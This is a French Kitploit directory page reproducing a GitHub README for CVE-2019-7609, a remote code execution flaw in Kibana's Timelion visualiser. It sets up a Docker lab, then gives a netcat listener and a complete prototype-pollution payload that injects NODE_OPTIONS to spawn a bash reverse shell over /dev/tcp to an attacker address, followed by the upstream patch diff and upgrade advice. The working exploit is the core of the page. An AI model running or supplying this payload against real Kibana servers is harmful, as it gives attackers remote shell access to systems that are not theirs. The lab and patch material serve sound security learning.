Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2019-7609 — Environnement de laboratoire basé sur Docker et exploit pour CVE-2019-7609 (Kibana Timelion RCE) avec payload de reverse shell et analyse de correctif. | Kitploit
Outils/GitHubGitHub/hekadan/cve-2019-7609
Analyse des VulnérabilitésExploitationExploitation d'Applications WebApprentissage et ÉducationOutil d'Accès à DistanceLabs et Pratique
GitHubhekadan/cve-2019-7609

CVE-2019-7609

Environnement de laboratoire basé sur Docker et exploit pour CVE-2019-7609 (Kibana Timelion RCE) avec payload de reverse shell et analyse de correctif.

Voir le dépôt
203il y a 6 ansVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2019-7609 (Kibana)

Vulnérabilité d'exécution de code à distance due à un défaut du visualiseur Timelion de Kibana

Configuration de l'environnement (docker)

  1. Exécutez le fichier docker-compose.yml ci-joint.
root@kitploit:~
docker-comopse up -d
  1. Accédez à http://127.0.0.1:5601 dans votre navigateur.

Exploitation

  1. Préparez un reverse shell.
root@kitploit:~
$ nc -lvp 6666
  1. Sur l'écran Timelion de Kibana, entrez le payload et cliquez sur Exécuter.
root@kitploit:~
.es(*).props(label.__proto__.env.AAAA='require("child_process").exec("bash -i >& /dev/tcp/<공격자서버IP>/6666 0>&1");process.exit()//').props(label.__proto__.env.NODE_OPTIONS='--require /proc/self/environ')

  1. Cliquez sur Canvas dans le panneau de gauche.
  2. Une connexion reverse shell est établie depuis le serveur Kibana :)

payload reverse-shell

Correctif

Mettez à jour Kibana vers la version 6.6.1 ou 5.6.15 ou supérieure.

Code source modifié

https://github.com/elastic/kibana/commit/3377f813a5d96ff466bdf7343ce161de24830ed4.patch

root@kitploit:~
From 3377f813a5d96ff466bdf7343ce161de24830ed4 Mon Sep 17 00:00:00 2001
From: ppisljar <[email protected]>
Date: Wed, 16 Jan 2019 06:01:20 -0800
Subject: [PATCH] fixes

---
 .../core_plugins/timelion/server/series_functions/props.js      | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/src/legacy/core_plugins/timelion/server/series_functions/props.js b/src/legacy/core_plugins/timelion/server/series_functions/props.js
index 81b74901d4db..80e9cafd6712 100644
--- a/src/legacy/core_plugins/timelion/server/series_functions/props.js
+++ b/src/legacy/core_plugins/timelion/server/series_functions/props.js
@@ -32,7 +32,7 @@ function unflatten(data) {
     let prop = '';
     let m;
     while (m = regex.exec(p)) {
-      cur = cur[prop] || (cur[prop] = (m[2] ? [] : {}));
+      cur = (cur.hasOwnProperty(prop) && cur[prop]) || (cur[prop] = (m[2] ? [] : {}));
       prop = m[2] || m[1];
     }
     cur[prop] = data[p];
Télécharger l’outil